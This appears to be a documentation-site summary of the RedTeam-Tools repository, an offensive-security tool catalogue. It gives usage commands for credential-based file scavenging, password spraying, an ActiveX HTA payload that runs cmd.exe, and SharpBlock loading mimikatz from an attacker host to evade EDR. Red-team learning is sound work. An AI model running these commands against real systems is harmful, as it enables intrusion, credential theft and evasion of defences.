DOCSEARCHbyAlgolia
Submit Docs

RedTeam-Tools

repository·main·Indexed 27 days ago

https://github.com/a-poc/redteam-tools

A curated repository of over 150 tools and resources for red teaming and offensive security operations. It includes categorized tools for reconnaissance, resource development, initial access, execution, persistence, privilege escalation, defense evasion, credential access, discovery, lateral movement, collection, command and control (C2), and exfiltration, alongside specialized red teaming techniques and tips.

Tokens
24.4K
Snippets
116
Records
162
Agent score
44%

What's inside redteam-tools

  1. Overview of RedTeam-Tools

    main

    RedTeam-Tools is a collection of over 150 tools and resources designed for red teaming activities. The repository includes specialized red teaming tools as well as general-purpose tools that can be adapted for offensive security contexts.

    Warning: The materials in this repository are for informational and educational purposes only and are not intended for use in illegal activities.

  2. RedTeam-Tools Tool List Overview

    main

    The redteam-tools repository provides a categorized collection of tools used for various stages of a red team engagement. The tools are organized into the following tactical categories:

    • Defense Evasion: Tools for obfuscation, EDR bypass, and anti-forensics (e.g., Invoke-Obfuscation, Veil, ScareCrow, moonwalk).
    • Credential Access: Tools for extracting or cracking credentials (e.g., Mimikatz, hashcat, nanodump, SharpChromium).
    • Discovery: Tools for reconnaissance and environment scanning (e.g., PingCastle, Seatbelt, ADRecon).
    • Lateral Movement: Tools for moving through a network (e.g., crackmapexec, WMIOps, PowerLessShell, kerbrute).
    • Collection: Tools for gathering data and visualizing Active Directory (e.g., BloodHound, Snaffler).
    • Command and Control (C2): Frameworks for managing compromised systems (e.g., Havoc, Covenant, Metasploit, NimPlant).
    • Exfiltration: Tools for moving data out of a target environment (e.g., Dnscat2, PyExfil, GD-Thief).
    • Impact: Tools for causing disruption or damage (e.g., SlowLoris, usbkill).

  3. Use scavenger for post-exploitation scanning

    main

    Scavenger is a multi-threaded post-exploitation tool that finds frequently used files/folders and "interesting" files containing sensitive information.

    Installation:

    1. Install CrackMapExec.
    2. Clone scavenger: git clone https://github.com/SpiderLabs/scavenger && cd scavenger
    # Search for interesting files on victim endpoint
python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d test.local

  5. Use adidnsdump for DNS record enumeration

    main

    adidnsdump enables enumeration and exporting of all DNS records in a Domain or Forest DNS zone.

    Installation:

    • Via Pip: pip install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump
    • Via Git: git clone https://github.com/dirkjanm/adidnsdump && cd adidnsdump && pip install .

    Requirements:

    • Requires impacket and dnspython.
    • For Python 3 support, you must install impacket from GitHub.
    # Display the zones in the domain where you are currently in
adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp

# Display all zones in the domain
adidnsdump -u icorp\\testuser icorp-dc.internal.corp

# Resolve all unknown records (-r)
adidnsdump -u icorp\\testuser icorp-dc.internal.corp -r

  6. Create HTA payloads

    main

    HTML Application (HTA) payloads can be used to execute commands via ActiveX. To use the payload, simply run the generated .hta file.

    <html>
<body>
<script>
	var c= 'cmd.exe'
	new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>

  9. Install and use TREVORspray

    main

    TREVORspray is a modular password sprayer that supports threading, SSH proxying, and loot modules.

    pip install https://github.com/blacklanternsecurity/TREVORspray

# Reconnaissance
python3 ./trevorspray --recon evilcorp.com

# Enumerate users via OneDrive
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10

# Spray against discovered targets
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token

  10. Install and use Impacket

    main
    Impacket provides low-level Python bindings for network protocols (SMB, Kerberos, LDAP) and command-line tools for tasks like dumping SAM databases, enumerating domain trusts, and cracking Windows passwords.

  11. Use SharpBlock to bypass EDR DLL entry points

    main

    SharpBlock is a method for bypassing EDR's active projection DLLs by preventing entry point execution. It provides a patchless AMSI and ETW bypass, hides implanted processes, and spoofs command line arguments.

    To use SharpBlock, compile the project using Visual Studio 2019 Community Edition by opening the .sln file, selecting the "Release" configuration, and building.

    # Launch mimikatz over HTTP using notepad as the host process, blocking SylantStrike's DLL
SharpBlock -e http://evilhost.com/mimikatz.bin -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee

# Launch mimikatz using Cobalt Strike beacon over named pipe using notepad as the host process, blocking SylantStrike's DLL
execute-assembly SharpBlock.exe -e \\.\pipe\mimi -s c:\windows\system32\notepad.exe -d "Active Protection DLL for SylantStrike" -a coffee
upload_file /home/haxor/mimikatz.exe \\.\pipe\mimi